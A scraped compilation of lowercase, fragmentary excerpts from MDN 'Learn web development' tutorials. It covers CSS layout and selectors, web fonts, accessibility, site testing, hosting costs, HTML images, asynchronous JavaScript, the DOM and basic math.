ow the player to control the camera — like in strategy or simulation games. positioning and camera in all scrolling games, we need a translation between world coordinates (the position where sprites or other elements are located in the level or game world) and screen coordinates (the actual position where those elements are rendered on the screen). the world coordinates can be expressed in terms of tile position (row and column of the map) or in pixels across the map, depending on the game. to be able to transform world coordinates into screen coordinates, we need the coordinates of the camera, since they determine which section of the world is being displayed. here are examples showing how to translate from world coordinates to screen coordinates and back again: // these functions ass...
...emaps are an actual grid of visual tiles, it is common to create a mapping between this visual grid and a logic grid. the most common case is to use this logic grid to handle collisions, but other uses are possible as well: character spawning points, detecting whether some elements are placed together in the right way to trigger a certain action (like in tetris or bejeweled), path-finding algorithms, etc. note: you can take a look at our demo that shows how to use a logic grid to handle collisions. isometric tilemaps isometric tilemaps create the illusion of a 3d environment, and are extremely popular in 2d simulation, strategy or rpg games. some of these games include simcity 2000, pharaoh or final fantasy tactics. the below image shows an example of an atlas for an isometric tileset. ...
...w tiles that will be visible. but sometimes, this is not enough. one simple technique consists of pre-rendering the map in a canvas on its own (when using the canvas api) or on a texture (when using webgl), so tiles don't need to be re-drawn every frame and rendering can be done in just one blitting operation. of course, if the map is large this doesn't really solve the problem — and some systems don't have a very generous limit on how big a texture can be. one way consists of drawing the section that will be visible off-canvas (instead of the entire map.) that means that as long as there is no scrolling, the map doesn't need to be rendered. a caveat of that approach is that when there is a scrolling, that technique is not very efficient. a better way would be to create a canvas that is...
... ...
Accessibility - Learn web development
ssibility. this article outlines some css and javascript best practices that should be considered to ensure that even complex content is as accessible as possible. wai-aria basics following on from the previous article, sometimes making complex ui controls that involve unsemantic html and dynamic javascript-updated content can be difficult. ...
...namic javascript-updated content can be difficult. wai-aria is a technology that can help with such problems by adding in further semantics that browsers and assistive technologies can recognize and use to let users know what is going on. here we'll show how to use it at a basic level to improve accessibility. accessible multimedia another category of content that can create accessibility problems is multimedia — video, audio, and image content need to be given proper textual alternatives, so they can be understood by assistive technologies and their users. this article shows how. ...
...this article looks at mobile-specific accessibility considerations. ...
...d image content need to be given proper textual alternatives, so they can be understood by assistive technologies and their users. this article shows how. mobile accessibility with web access on mobile devices being so popular, and popular platforms such as ios and android having fully-fledged accessibility tools, it is important to consider the accessibility of your web content on these platforms. this article looks at mobile-specific accessibility considerations. assessments accessibility troubleshooting in the assessment for this module, we present to you a simple site with several accessibility issues that you need to diagnose and fix. ...
Overflowing content - Learn web development
's overflow. it is the way you instruct the browser how it should behave. the default value of overflow is visible. with this default, we can see content when it overflows. to crop content when it overflows, you can set overflow: hidden. this does exactly what it says: it hides overflow. beware that this can make some content invisible. you should only do this if hiding content won't cause problems. instead, perhaps you would like to add scrollbars when content overflows? using overflow: scroll, browsers with visible scrollbars will always display them—even if there is not enough content to overflow. this offers the advantage of keeping the layout consistent, instead of scrollbars appearing or disappearing, depending upon the amount of content in the container. remove some content fro...
...rs in both axes. to just scroll on the y axis, you could use the overflow-y property, setting overflow-y: scroll. you can also scroll on the x axis using overflow-x, although this is not a recommended way to accommodate long words! if you have a long word in a small box, you might consider using the word-break or overflow-wrap properties. in addition, some of the methods discussed in sizing items in css may help you create boxes that scale better with varying amounts of content. as with scroll, you get a scrollbar in the scrolling dimension whether or not there is enough content to cause a scrollbar. note: you can specify x and y scrolling using the overflow property, passing two values. if two keywords are specified, the first applies to overflow-x and the second applies to overflow...
... contained and not overlap, in order to create a consistent scrolling experience. unwanted overflow in web design modern layout methods (described in css layout) manage overflow. they largely work without assumptions or dependencies for how much content there will be on a web page. this has not always been the norm. in the past, some sites were built with fixed-height containers to align bottoms of boxes. these boxes may otherwise have no relationship to each other. this was fragile. in a legacy application, you may encounter a box where content is overlaying other content on the page. now you can recognize that this happens with overflow. ideally, you will refactor the layout to not rely on fixed-height containers. when developing a site, always keep overflow in mind. test designs with...
...does not accidentally cause problematic overflow. ...
Attribute selectors - Learn web development
ontains value in its (space separated) list of values. [attr|=value] div[lang|="zh"] matches elements with an attr attribute whose value is exactly value or begins with value immediately followed by a hyphen. in the example below you can see these selectors being used. by using li[class] we can match any selector with a class attribute. this matches all of the list items except the first one. li[class="a"] matches a selector with a class of a, but not a selector with a class of a with another space-separated class as part of the value. it selects the second list item. li[class~="a"] will match a class of a but also a value that contains the class of a as part of a whitespace-separated list. it selects the second and third list items. substring matching sele...
...x"] matches elements with an attr attribute whose value contains value anywhere within the string. (aside: it may help to note that ^ and $ have long been used as anchors in so-called regular expressions to mean begins with and ends with.) the next example shows usage of these selectors: li[class^="a"] matches any attribute value which starts with a, so matches the first two list items. li[class$="a"] matches any attribute value that ends with a, so matches the first and third list item. li[class*="a"] matches any attribute value where a appears anywhere in the string, so it matches all of our list items. case-sensitivity if you want to match attribute values case-insensitively you can use the value i before the closing bracket. this flag tells the browser to match ascii...
...efore the closing bracket. this flag tells the browser to match ascii characters case-insensitively. without the flag the values will be matched according to the case-sensitivity of the document language — in html's case it will be case sensitive. in the example below, the first selector will match a value that begins with a — it only matches the first list item because the other two list items start with an uppercase a. the second selector uses the case-insensitive flag and so matches all of the list items. note: there is also a newer value s, which will force case-sensitive matching in contexts where matching is normally case-insensitive, however this is less well supported in browsers and isn't very useful in an html context. next steps now we are done with attribute selectors...
... about pseudo-class and pseudo-element selectors. ...
Floats - Learn web development
d the content will wrap around it to the left. try changing the float value to right and replace margin-right with margin-left in the last ruleset to see what the result is. while we can add a margin to the float to push the text away, we can't add a margin to the text to move it away from the float. this is because a floated element is taken out of normal flow, and the boxes of the following items actually run behind the float. you can demonstrate this by making some changes to your example. add a class of special to the first paragraph of text, the one immediately following the floated box, then in your css add the following rules. these will give our following paragraph a background color. .special { background-color: rgb(79,185,227); padding: 10px; color: #fff; } to make the e...
...dth: 150px; height: 150px; border-radius: 5px; background-color: rgb(207,232,220); padding: 1em; } .special { background-color: rgb(79,185,227); padding: 10px; color: #fff; } .cleared { clear: left; } you should see that the following paragraph clears the floated element and no longer comes up alongside it. the clear property accepts the following values: left: clear items floated to the left. right: clear items floated to the right. both: clear any floated items, left or right. clearing boxes wrapped around a float you now know how to clear something following a floated element, but let's see what happens if you have a tall float and a short paragraph, with a box wrapped around both elements. change your document so that the first paragraph and our floated bo...
...fix hack". this involves inserting some generated content after the box which contains the float and wrapping content, and setting that to clear both. add the following css to our example: .wrapper::after { content: ""; clear: both; display: block; } now reload the page and the box should clear. this is essentially the same as if you had added an html element such as a <div> below the items and set it to clear: both. float example 5 <h1>simple float example</h1> <div class="wrapper"> <div class="box">float</div> <p>lorem ipsum dolor sit amet, consectetur adipiscing elit. nulla luctus aliquam dolor, eu lacinia lorem placerat vulputate. </p> </div> <p class="cleared">duis felis orci, pulvinar id metus ut, rutrum luctus orci. cras porttitor imperdiet nunc, at ultricies tellus ...
...eft; margin: 15px; width: 150px; height: 150px; border-radius: 5px; background-color: rgb(207,232,220); padding: 1em; } this example works by creating what is known as a block formatting context (bfc). this is like a mini layout inside your page, inside which everything is contained, therefore our floated element is contained inside the bfc and the background runs behind both items. this will usually work, however, in certain cases you might find unwanted scrollbars or clipped shadows due to unintended consequences of using overflow. display: flow-root the modern way of solving this problem is to use the value flow-root of the display property. this exists only to create a bfc without using hacks — there will be no unintended consequences when you use it. remove overflo...
Practical positioning examples - Learn web development
ugue. and now an ordered list: how exciting!</p> <ol> <li>dui neque eleifend lorem, a auctor libero turpis at sem.</li> <li>aliquam ut porttitor urna.</li> <li>nulla facilisi</li> </ol> </article> </div> </section> so here we've got a <section> element with a class of info-box, which contains a <ul> and a <div>. the unordered list contains three list items with links inside, which will become the actual tabs to click on for displaying our content panels. the div contains three <article> elements, which will make up the content panels that correspond to each tab. each panel contains some sample content. the idea here is that we will style the tabs to look like a standard horizontal navigation menu, and style the panels to sit on top of one another ...
... the default <body> margin. next, add the following just below your previous css: .info-box { width: 450px; height: 400px; margin: 0 auto; } this sets a specific width and height on the content, and centers it on the screen using the old margin: 0 auto trick. previously in the course we advised against setting a fixed height on content containers if at all possible; it is ok in this circumstance because we have fixed content in our tabs. it also looks a bit jarring to have different tabs at different heights. styling our tabs now we want to style tabs to look like tabs — basically, these are a horizontal navigation menu, but instead of loading different web pages when they are clicked on like we've seen previously in the course, they cause different panels to be displayed on the...
...red list: .info-box ul { padding-left: 0; margin-top: 0; } note: we are using descendant selectors with .info-box at the start of the chain throughout this example — this is so that we can insert this feature into a page with other content already on it, without fear of interfering with the styles applied to other parts of the page. next, we'll style the horizontal tabs — the list items are all floated left to make them sit in a line together, their list-style-type is set to none to get rid of the bullets, and their width is set to 150px so they will comfortably fit across the info-box. the <a> elements are set to display inline-block so they will sit in a line but still be stylable, and they are styled appropriately for tab buttons, using a variety of other properties. add the...
...cks the checkbox, which hides the panel again. so there you have it — a rather clever javascript-free way to create a toggling button effect. this will work in ie9 and above (the smooth transition will work in ie10 and above.) this effect does have some concerns — this is a bit of an abuse of form elements, as they weren't intended for this purpose. in addition, the effect is not great in terms of accessibility; the label is not focusable by default, and the non-semantic use of the form elements could cause issues with screen readers. javascript and a link or button might be more appropriate, but it is still fun to experiment with. summary so that rounds off our look at positioning — by now, you should have an idea of how the basic mechanics work, as well as understanding how to sta...
Styling links - Learn web development
/files/12982/external-link-52.png') no-repeat 100% 0; background-size: 16px 16px; padding-right: 19px; } so what's going on here? we'll skip over most of the css, as it's just the same information you've looked at before. the last rule however is interesting — here we are inserting a custom background image on external links in a similar manner to how we handled custom bullets on list items in the last article — this time however we are using background shorthand instead of the individual properties. we set the path to the image we want to insert, specify no-repeat so we only get one copy inserted, and then specify the position as 100% of the way over to the right of the text content, and 0 pixels from the top. we also use background-size to specify the size we want the backgroun...
.... note: don't worry if you are not familiar with backgrounds and responsive web design yet; these are explained in other places. styling links as buttons the tools you've explored so far in this article can also be used in other ways. for example, states like hover can be used to style many different elements, not just links — you might want to style the hover state of paragraphs, list items, or other things. in addition, links are quite commonly styled to look and behave like buttons in certain circumstances — a website navigation menu is usually marked up as a list containing links, and this can be easily styled to look like a set of control buttons or tabs that provide the user with access to other parts of the site. let's explore how. first, some html: <ul> <li><a href="#"...
... default padding from the <ul> element, and sets its width to span 100% of the outer container (the <body>, in this case). <li> elements are normally block by default (see types of css boxes for a refresher), meaning that they will sit on their own lines. in this case, we are creating a horizontal list of links, so in the third rule we set the display property to inline, which causes the list items to sit on the same line as one another — they now behave like inline elements. the fourth rule — which styles the <a> element — is the most complicated here; let's go through it step by step: as in previous examples, we start by turning off the default text-decoration and outline — we don't want those spoiling our look. next, we set the display to inline-block — <a> elements a...
...the last <a> in the list, and removes the margin from it. done! the last three declarations are pretty simple and are mainly just for cosmetic purposes. we center the text inside each link, set the line-height to 3 to give the buttons some height (which also has the advantage of centering the text vertically), and set the text color to black. note: you may have noticed that the list items in the html are all put on the same line as each other — this is done because spaces/line breaks in between inline block elements create spaces on the page, just like the spaces in between words, and such spaces would break our horizontal navigation menu layout. so we've removed the spaces. you can find more information about this problem (and solutions) at fighting the space between inline blo...
Web fonts - Learn web development
party service, or by writing your own code. font families recap as we looked at in fundamental text and font styling, the fonts applied to your html can be controlled using the font-family property. this takes one or more font family names, and the browser travels down the list until it finds a font it has available on the system it is running on: p { font-family: helvetica, "trebuchet ms", verdana, sans-serif; } this system works well, but traditionally web developers' font choices were limited. there are only a handful of fonts that you can guarantee to be available across all common systems — the so-called web-safe fonts. you can use the font stack to specify preferable fonts, followed by web-safe alternatives, followed by the default system font, but this adds overhead in t...
... web fonts but there is an alternative, which works very well, right back to ie version 6. ...
...ox labeled "yes, the fonts i'm uploading are legally eligible for web embedding." click download your kit. after the generator has finished processing, you should get a zip file to download — save it in the same directory as your html and css. implementing the code in your demo at this point, unzip the webfont kit you just generated. inside the unzipped directory you'll see three useful items: multiple versions of each font: (for example .ttf, .woff, .woff2, etc.; the exact fonts provided will be updated over time as browser support requirements change). as mentioned above, multiple fonts are needed for cross browser support — this is fontsquirrel's way of making sure you've got everything you need. a demo html file for each font — load these in your browser to see what the fo...
... now you can use these fonts in your font stacks, just like any web safe or default system font. for example: font-family: 'zantrokeregular', serif; you should end up with a demo page with some nice fonts implemented on them. because different fonts are created at different sizes, you may have to adjust the size, spacing, etc., to sort out the look and feel. note: if you have any problems getting this to work, feel free to compare your version to our finished files — see web-font-finished.html and web-font-finished.css (run the finished example live). using an online font service online font services generally store and serve fonts for you, so you don't have to worry about writing the @font-face code, and generally just need to insert a simple line or two of code into your si...
How do you make sure your website works properly? - Learn web development
web server. objective: you will learn how to diagnose and resolve some basic issues you can run into with your website. so you've published your website online? very good! but are you sure it works properly? a distant web server often behaves quite differently from a local one, so it's a good idea to test your website once it's online. you might be surprised at how many problems come up: images don't show up, pages don't load or load slowly, and so on. most of the time it's no big deal, just a simple mistake or an issue with your web hosting configuration. let's see how to diagnose and solve those problems. active learning there is no active learning available yet. dig deeper test in your browser if you want to know whether your website works correctly, the first t...
...m. usually it's best to resort to your hosting provider's support team. 503: service unavailable usually resulting from a shortterm system overload. the server has some sort of problem. try again in a little while. as beginners checking our (simple) website, we'll deal most often with 200, 304, 403, and 404. fixing the 404 so what went wrong? at first glance, the image we asked for seems to be in the right place... but the network tool reported a "404". it turns out that we made a typo in our html code: unicorn_pics.png rather than unicorn_pic.png. so correct the typo in your code editor by changing the image's src attribute: save, push to the server, and reload the page in your browser: there you go! let's look at the http statuses again: 200 for / and for unicorn_pic.p...
...en we're only serving one image, but it would be critical for a high-bandwidth website serving many thousands of images. ...
... high-bandwidth website serving many thousands of images. is the server responsive enough? ping is a useful shell tool that tests the domain name you provide and tells you if the server's responding or not: $ ping mozilla.org ping mozilla.org (63.245.215.20): 56 data bytes 64 bytes from 63.245.215.20: icmp_seq=0 ttl=44 time=148.741 ms 64 bytes from 63.245.215.20: icmp_seq=1 ttl=44 time=148.541 ms 64 bytes from 63.245.215.20: icmp_seq=2 ttl=44 time=148.734 ms 64 bytes from 63.245.215.20: icmp_seq=3 ttl=44 time=147.857 ms ^c --- mozilla.org ping statistics --- 4 packets transmitted, 4 packets received, 0.0% packet loss round-trip min/avg/max/stddev = 147.857/148.468/148.741/0.362 ms just keep in mind a handy keyboard shortcut: ctrl+c. ctrl+c sends an “interrupt” signal to the runtime ...
How much does it cost to do something on the Web? - Learn web development
price does not reliably reflect a text editor's quality or usefulness. you have to try it for yourself and decide if it meets your needs. for example, sublime text is cheap, but comes with many free plugins that can greatly extend its functionality. image editors your system likely includes a simple image editor, or viewer: paint on windows, eye of gnome on ubuntu, preview on mac. those programs are relatively limited, you'll soon want a more robust editor to add layers, effects, and grouping. editors can be free (gimp, paint.net), moderately expensive (paintshop pro, less than $100), or several hundred dollars (adobe photoshop). you can use any of them, as they will have similar functionality, though some are so comprehensive you'll never use every feature. if at some point you need t...
...t, as part of its file manager. windows explorer, nautilus (a common linux file manager), and the mac finder all include this functionality. however, people often choose dedicated (s)ftp clients to display local or remote directories side-by-side and store server passwords. if you want to install an (s)ftp client, there are several reliable and free options: for example, filezilla for all platforms, winscp for windows, cyberduck for mac or windows, and more. because ftp is inherently insecure, you should make sure to use sftp — the secure, encrypted version of ftp that most hosting sites you'll deal with these days will offer by default — or another secure solution like rsync over ssh. browsers you either already have a browser or can get one for free. if necessary, download firefox ...
...tection by hiding your postal address and email address behind their own addresses: the postal address can be provided in care of the registrar, and your email address can be obscured via your registrar's alias. do-it-yourself hosting vs. “packaged” hosting when you want to publish a website, you could do everything by yourself: set up a database (if needed), content management system, or cms (like wordpress, dotclear, spip, etc.), upload pre-made or your own templates. you could use your hosting provider's environment, for roughly ten to fifteen dollars per month, or subscribe directly to a dedicated hosting service with pre-packaged cmss (e.g., wordpress, tumblr, blogger). for the latter, you won't have to pay anything, but you may have less control over templating and other option...
...site? will you want to update it regularly? or will it be a static website? must the website connect to your company’s it structure to gather content (say, internal data)? do you want some shiny new feature that is the rage of the moment? at the time of writing, clients are seeking single pages with complex parallax will you need the agency to think up user stories or solve complex ux problems? for example, creating a strategy to engage users, or a/b testing to choose a solution among several ideas ...and for hosting: do you want redundant servers, in case your server goes down? is 95% percent reliability adequate, or do you need professional, around-the-clock service? do you want high-profile, ultra-responsive dedicated servers, or can you cope with a slower, shared machine? ...
Images in HTML - Learn web development
a number of ways. for example on the mac you can use cmd + i to get the info display up for the image file. returning to our example, we could do this: <img src="images/dinosaur.jpg" alt="the head and torso of a dinosaur skeleton; it has a large head with long sharp teeth" width="400" height="341"> this doesn't result in much difference to the display, under normal circumstances. but if the image isn't being displayed, for example, the user has just navigated to the page, and the image hasn't yet loaded, you'll notice the browser is leaving a space for the image to appear in: this is a good thing to do, resulting in the page loading quicker and more smoothly. however, you shouldn't alter the size of your images using html attributes. if you set the image size t...
...no access to keyboard users). if you are interested in more information about this, read the trials and tribulations of the title attribute by scott o'hara. it is better to include such supporting information in the main article text, rather...
...nd torso of a dinosaur skeleton; it has a large head with long sharp teeth" width="400" height="341"> <p>a t-rex on display in the manchester university museum.</p> </div> this is ok. it contains the content you need, and is nicely stylable using css. but there is a problem here: there is nothing that semantically links the image to its caption, which can cause problems for screen readers. for example, when you have 50 images and captions, which caption goes with which image? a better solution, is to use the html5 <figure> and <figcaption> elements. these are created for exactly this purpose: to provide a semantic container for figures, and to clearly link the figure to the caption. our above example could be rewritten like this: <figure> <img src="images/di...
...why bother with html images? as hinted to above, css background images are for decoration only. if you just want to add something pretty to your page to enhance the visuals, this is fine. though, such images have no semantic meaning at all. they can't have any text equivalents, are invisible to screen readers, and so on. this is where html images shine! summing up: if an image has meaning, in terms of your content, you should use an html image. if an image is purely decoration, you should use css background images. note: you'll learn a lot more about css background images in our css topic. test your skills! you've reached the end of this article, but can you remember the most important information? you can find some further tests to verify that you've retained this information before y...
Introducing asynchronous JavaScript - Learn web development
prerequisites: basic computer literacy, a reasonable understanding of javascript fundamentals. objective: to gain familiarity with what asynchronous javascript is, how it differs from synchronous javascript, and what use cases it has. synchronous javascript to allow us to understand what asynchronous javascript is, we ought to start off by making sure we understand what synchronous javascript is. ...
...ack to do something with. in this case the callback is waiting on the xhr call to finish downloading the resource (using the onload event handler) before it passes it to the callback. ...
...hich functions are run and what data is passed between them, they also allow you to pass data to different functions depending on circumstance. so you could have different actions to run on the response downloaded, such as processjson(), displaytext(), etc. note that not all callbacks are async — some run synchronously. an example is when we use array.prototype.foreach() to loop through the items in an array (see it live, and the source): const gods = ['apollo', 'artemis', 'ares', 'zeus']; gods.foreach(function (eachname, index){ console.log(index + '. ' + eachname); }); in this example we loop through an array of greek gods and print the index numbers and values to the console. the expected parameter of foreach() is a callback function, which itself takes two parameters, a reference...
...vel of the "pyramid". promises avoid inversion of control, unlike old-style callbacks, which lose full control of how the function will be executed when passing a callback to a third-party library. the nature of asynchronous code let's explore an example that further illustrates the nature of async code, showing what can happen when we are not fully aware of code execution order and the problems of trying to treat asynchronous code like synchronous code. the following example is fairly similar to what we've seen before (see it live, and the source). one difference is that we've included a number of console.log() statements to illustrate an order that you might think the code would execute in. console.log ('starting'); let image; fetch('coffee.jpg').then((response) => { console.log('i...
Graceful asynchronous programming with Promises - Learn web development
e results back up the chain to the top. at the end of the block, we chain on a .catch() call, to handle any error cases that may occur with any of the promises passed in the array to .all(). if any of the promises reject, the .catch() block will let you know which one had a problem. the .all() block (see below) will still fulfill, but it won't display the resources that had problems. remember that, once you handle the promise with a .catch() block, the resulting promise is considered resolved but with a value of undefined; that's why in this case the .all() block will always get fulfilled. if you wanted the .all() to reject, you'd have to chain the .catch() block on to the end of the .all() instead. the code inside the function body is async and promise-based, th...
...ge2.src = objecturl2; document.body.appendchild(image1); document.body.appendchild(image2); // display the text in a paragraph let para = document.createelement('p'); para.textcontent = desctext; document.body.appendchild(para); save and refresh and you should see your ui components all loaded, albeit in a not particularly attractive way! ...
..., albeit in a not particularly attractive way! the code we provided here for displaying the items is fairly rudimentary but works as an explainer for now. note: if you get stuck, you can compare your version of the code to ours, to see what it is meant to look like — see it live, and see the source code. note: if you were improving this code, you might want to loop through a list of items to display, fetching and decoding each one, and then loop through the results inside promise.all(), running a different function to display each one depending on what the type of code was. this would make it work for any number of items, not just three. also, you could determine what the type of file is being fetched without needing an explicit type property. you could, for example, check the co...
...d ie11 and earlier versions. we didn't touch on all promise features in this article, just the most interesting and useful ones. as you start to learn more about promises, you'll come across further features and techniques. most modern web apis are promise-based, so you'll need to understand promises to get the most out of them. among those apis are webrtc, web audio api, media capture and streams, and many more. promises will be more and more important as time goes on, so learning to use and understand them is an important step in learning modern javascript. ...
Cooperative asynchronous JavaScript: Timeouts and intervals - Learn web development
you use semantic html, with hooks to allow you to grab the button references using javascript. you probably want to create a variable that starts at 0, then increments by one every second using a constant loop. it is easier to create this example without using a date() object, like we've done in our version, but less accurate — you can't guarantee that the callback will fire after exactly 1000ms. a more accurate way would be to run starttime = date.now() to get a timestamp of exactly when the user clicked the start button, and then do date.now() - starttime to get the number of milliseconds after the start button was clicked. you also want to calculate the number of hours, minutes, and seconds as separate values, and then show them together in a string after each loop iteration. from th...
... the above example to the following one — this uses setinterval() to accomplish the same effect: let i = 1; setinterval(function run() { console.log(i); i++ }, 100); how do recursive settimeout() and setinterval() differ? the difference between the two versions of the above code is a subtle one. recursive settimeout() guarantees the same delay between the executions. (for example, 100ms in the above case.) the code will run, then wait 100 milliseconds before it runs again—so the interval will be the same, regardless of how long the code takes to run. the example using setinterval() does things somewhat differently. the interval you chose includes the time taken to execute the code you want to run in. let's say that the code takes 40 milliseconds to run — the interval then e...
...ationframe() is a specialized looping function created for running animations efficiently in the browser. it is basically the modern version of setinterval() — it executes a specified block of code before the browser next repaints the display, allowing an animation to be run at a suitable frame rate regardless of the environment it is being run in. it was created in response to perceived problems with setinterval(), which for example doesn't run at a frame rate optimized for the device, sometimes drops frames, continues to run even if the tab is not the active tab or the animation is scrolled off the page, etc. (read more about this on creativejs.) note: you can find examples of using requestanimationframe() elsewhere in the course — see for example drawing graphics, and object build...
...lowing css to the html template (in whatever way you prefer). this sets a red background on the page, sets the <body> height to 100% of the <html> height, and centers the <div> inside the <body>, horizontally and vertically. html { background-color: white; height: 100%; } body { height: inherit; background-color: red; margin: 0; display: flex; justify-content: center; align-items: center; } div { display: inline-block; font-size: 10rem; } insert a <script> element just above the closing </body> tag. insert the following javascript inside your <script> element. here, you're storing a reference to the <div> inside a constant, setting a rotatecount variable to 0, setting an uninitialized variable that will later be used to contain a reference to the requesta...
Functions — reusable blocks of code - Learn web development
note: feel free to enter these lines into your browser's javascript console to re-familiarize yourself with th...
...ds programmers call functions that are part of objects methods. you don't need to learn about the inner workings of structured javascript objects yet — you can wait until our later module that will teach you all about the inner workings of objects, and how to create your own. for now, we just wanted to clear up any possible confusion of method versus function — you are likely to meet both terms as you look at the available related resources across the web. the built-in code we've made use of so far come in both forms: functions and methods. you can check the full list of the built-in functions, as well as the built-in objects and their corresponding methods here. you've also seen a lot of custom functions in the course so far — functions defined in your code, not inside the browser.
...ons is called the global scope. values defined in the global scope are accessible from everywhere in the code. javascript is set up like this for various reasons — but mainly because of security and organization. sometimes you don't want variables to be accessible from everywhere in the code — external scripts that you call in from elsewhere could start to mess with your code and cause problems because they happen to be using the same variable names as other parts of the code, causing conflicts. this might be done maliciously, or just by accident. for example, say you have an html file that is calling in two external javascript files, and both of them have a variable and a function defined that use the same name: <!-- excerpt from my html --> <script src="first.js"></script> <script s...
...d greeting(), but you can only ever access the first.js file's greeting() function (the second one is ignored). in addition, attempting to declare the name variable a second time with the let keyword in the second.js file results in an error. note: you can see this example running live on github (see also the source code). keeping parts of your code locked away in functions avoids such problems, and is considered the best practice. it is a bit like a zoo. the lions, zebras, tigers, and penguins are kept in their own enclosures, and only have access to the things inside their enclosures — in the same manner as the function scopes. if they were able to get into other enclosures, problems would occur. at best, different animals would feel really uncomfortable inside unfamiliar habitats ...
Introduction to web APIs - Learn web development
ipting language built into browsers that allows you to implement functionality on web pages/apps. note that javascript is also available in other programming environments, such as node. browser apis — constructs built into the browser that sits on top of the javascript language and allows you to implement functionality more easily. third-party apis — constructs built into third-party platforms (e.g. twitter, facebook) that allow you to use some of those platform's functionality in your own web pages (for example, display your latest tweets on your web page). javascript libraries — usually one or more javascript files containing custom functions that you can attach to your web page to speed up or enable writing common functionality. examples include jquery, mootools and react. javas...
...nels on your website, in addition to providing support for bots. the youtube api, which allows you to embed youtube videos on your site, search youtube, build playlists, and more. the pinterest api provides tools to manage pinterest boards and pins to include them in your website. the twilio api, which provides a framework for building voice and video call functionality into your app, sending sms/mms from your apps, and more. the mastodon api enables you to manipulate features of the mastodon social network programmatically. note: you can find information on a lot more 3rd party apis at the programmable web api directory. how do apis work? different javascript apis work in slightly different ways, but generally, they have common features and similar themes to how they work. they ...
...end the request. the onload handler function then specifies what we do with the response. we know the response will be successfully returned and available after the load event has fired (unless an error occurred), so we save the response containing the returned json in the superheroes variable, then pass it to two different functions for further processing. they have additional security mechanisms where appropriate webapi features are subject to the same security considerations as javascript and other web technologies (for example same-origin policy), but they sometimes have additional security mechanisms in place. for example, some of the more modern webapis will only work on pages served over https due to them transmitting potentially sensitive data (examples include service workers and...
...y mechanism called autoplay policy — this basically means that you can't automatically play audio when a page loads — you've got to allow your users to initiate audio play through a control like a button. this is done because autoplaying audio is usually really annoying and we really shouldn't be subjecting our users to it. note: depending on how strict the browser is, such security mechanisms might even stop the example from working locally, i.e. if you load the local example file in your browser instead of running it from a web server. at the time of writing, our web audio api example wouldn't work locally on google chrome — we had to upload it to github before it would work. summary at this point, you should have a good idea of what apis are, how they work, and what you can do ...
Manipulating documents - Learn web development
ntaining a <section> element inside which you can find an image, and a paragraph with a link inside. the html source code looks like this: <!doctype html> <html> <head> <meta charset="utf-8"> <title>simple dom example</title> </head> <body> <section> <img src="dinosaur.png" alt="a red tyrannosaurus rex: a two legged dinosaur standing upright like a human, with small arms, and a large head with lots of sharp teeth."> <p>here we will add a link to the <a href="https://www.mozilla.org/">mozilla homepage</a></p> </section> </body> </html> the dom on the other hand looks like this: note: this dom tree diagram was created using ian hickson's live dom viewer. you can see here that each element and bit of text in the document has its own entry in t...
... a link to the <a href="https://www.mozilla.org/">mozilla homepage</a></p> </section> </body> </html> the dom on the other hand looks like this: note: this dom tree diagram was created using ian hickson's live dom viewer. you can see here that each element and bit of text in the document has its own entry in the tree — each one is called a node. you will also encounter various terms used to describe the type of node, and their position in the tree in relation to one another: element node: an element, as it exists in the dom. root node: the top node in the tree, which in the case of html is always the html node (other markup vocabularies like svg and custom xml will have different root elements). child node: a node directly inside another node. for example, img is a chil...
...e: a node which has another node inside it. for example, body is the parent node of section in the above example. sibling nodes: nodes that sit on the same level in the dom tree. for example, img and p are siblings in the above example. text node: a node containing a text string. it is useful to familiarize yourself with this terminology before working with the dom, as a number of the code terms you'll come across make use of them. you may have also come across them if you have studied css (e.g. descendant selector, child selector). active learning: basic dom manipulation to start learning about dom manipulation, let's begin with a practical example. take a local copy of the dom-example.html page and the image that goes along with it. add a <script></script> element just above the ...
...t = window.innerheight; div.style.width = winwidth + 'px'; div.style.height = winheight + 'px'; } note: if you get stuck, have a look at our finished window resize example (see it live also). active learning: a dynamic shopping list to round off the article, we'd like to set you a little challenge — we want to make a simple shopping list example that allows you to dynamically add items to the list using a form input and button. when you add an item to the input and press the button: the item should appear in the list. each item should be given a button that can be pressed to delete that item off the list. the input should be emptied and focused ready for you to enter another item. the finished demo will look something like this: to complete the exercise, follow the st...
Basic math in JavaScript — numbers and operators - Learn web development
processing numerical data, calculating new values, and so on, that you won't be surprised to learn that javascript has a full-featured set of math functions available. this article discusses only the basic parts that you need to know now. types of numbers in programming, even the humble decimal number system that we all know so well is more complicated than you might think. we use different terms to describe different types of decimal numbers, for example: integers are whole numbers, e.g. 10, 400, or -5. floating point numbers (floats) have decimal points and decimal places, for example 12.5, and 56.7786543. doubles are a specific type of floating point number that have greater precision than standard floating point numbers (meaning that they are accurate to a greater number of decim...
...le: integers are whole numbers, e.g. 10, 400, or -5. floating point numbers (floats) have decimal points and decimal places, for example 12.5, and 56.7786543. doubles are a specific type of floating point number that have greater precision than standard floating point numbers (meaning that they are accurate to a greater number of decimal places). we even have different types of number systems! decimal is base 10 (meaning it uses 0–9 in each column), but we also have things like: binary — the lowest level language of computers; 0s and 1s. octal — base 8, uses 0–7 in each column. hexadecimal — base 16, uses 0–9 and then a–f in each column. you may have encountered these numbers before when setting colors in css. before you start to get worried about your brain melti...
... for example, try typing these lines into your console: let mynumber = '74'; mynumber + 3; you end up with the result 743, not 77, because mynumber is actually defined as a string. you can test this by typing in the following: typeof mynumber; to fix the calculation, you can do this: number(mynumber) + 3; arithmetic operators arithmetic operators are the basic operators that we use to do sums in javascript: operator name purpose example + addition adds two numbers together. 6 + 9 - subtraction subtracts the right number from the left. 20 - 15 * multiplication multiplies two numbers together. 3 * 7 / division divides the left number by the right. 10 / 5 % remainder (sometimes call...
...w to do basic math, but we would like to test your understanding of the syntax involved. try entering the examples below into your developer tools javascript console to familiarize yourself with the syntax. first try entering some simple examples of your own, such as 10 + 7 9 * 8 60 % 3 you can also try declaring and initializing some numbers inside variables, and try using those in the sums — the variables will behave exactly like the values they hold for the purposes of the sum. for example: let num1 = 10; let num2 = 50; 9 * num1; num1 ** 3; num2 / num1; last for this section, try entering some more complex expressions, such as: 5 + 10 * 3; num2 % 9 * num1; num2 + num1 / 8 + 2; some of this last set of calculations might not give you quite the result you were expecting...
JavaScript object basics - Learn web development
